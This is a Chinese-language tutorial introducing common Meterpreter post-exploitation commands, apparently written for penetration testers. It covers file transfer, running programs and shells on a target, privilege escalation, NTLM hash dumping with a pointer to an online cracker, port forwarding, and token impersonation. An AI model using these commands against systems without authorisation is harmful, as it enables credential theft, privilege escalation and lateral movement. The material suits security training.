meterpreter是一种高级、隐蔽、多层面的且可动态扩展的payload,可以将反射dll注入到目标主机的内存中,还可以在运行时动态加载脚本和插件来进行后渗透利用。
包括提权、转存系统账号、键盘记录、持久后门服务、启用远程桌面等,还有很多其他的扩展。而且,meterpreter shell的整个通信都是默认加密的。
因为meterpreter提供的是一个全新的环境,所以我们本文来讲解一些必备的meterpreter命令,带你入门并且逐渐熟悉这款强大的工具。
命令1:上传文件到Windows主机
简单来说,你可以上传本机的任意文件到远程目标主机中。
命令:
- upload <file> <destination>
注意:使用-r参数可以递归上传上传目录和文件
命令2:从windows主机下载文件
download命令可以下载远程主机上的文件
命令:
- download <file> <path to save>
注意:Windows路径要使用双斜线
如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令
命令3:在目标主机上执行exe文件
我们也可以使用execute命令在目标主机上执行应用程序
语法也非常简单
命令:
- execute -f <path> [options]
命令4:创建CMD新通道
如果你想在目标主机上执行命令提示符,你可以使用下列命令:
命令:
- execute -f cmd -c
命令5:显示进程
ps命令会显示目标主机上所有正在运行的进程
命令:
- ps
命令6:获取目标主机的cmd shell
shell命令可以进入目标主机的cmd
命令:
- shell
命令7:获取admin权限
getsystem命令可以提权到本地系统权限
命令:
- getsystem
命令8:使用Hashdump转储所有hash值
我们可以使用meterpreter shell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。
NTLM在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
命令:
- hashdump
输出的每一行内容格式如下
- Username:SID:LM hash:NTLM hash:::
如图所示
本次执行输出了5个用户账号,分别是Administrator,Guest,HelpAssistant,Owner and SUPPORT_388945a0
命令9:使用Credcollect转储hash值
还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens
命令:
- run credcollect
命令10:创建端口转发
meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。
add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。
请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。
命令:
- portfwd add -l <portnumber> -r <Target IP>
命令11:删除端口转发
跟创建端口转发命令类似,这条命令是删除一条端口转发记录
命令:
- portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
如果你想显示所有端口转发记录,你可以使用portfwd list命令,如果你想删除所有的记录,可以使用portfwd flush命令
命令12:在目标主机上搜索文件
搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。
例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:
命令:
- search -f *.txt
命令13:获取用户ID
getuid命令会显示主机上运行meterpreter 服务的用户
命令:
- getuid
命令14:获取系统信息
sysinfo命令会显示系统名,操作系统,架构和语言等。
命令:
- sysinfo
命令15:模拟任意用户(token操作)
这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。
incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下:
- 在meterpreter会话中加载这个模块非常简单,只要输入 use incognito命令即可
- 输入list_tokens -u来显示所有有效的tokens
- 然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID
- use incognito
- list_tokens -u
- impersonate_token “Machine\\user”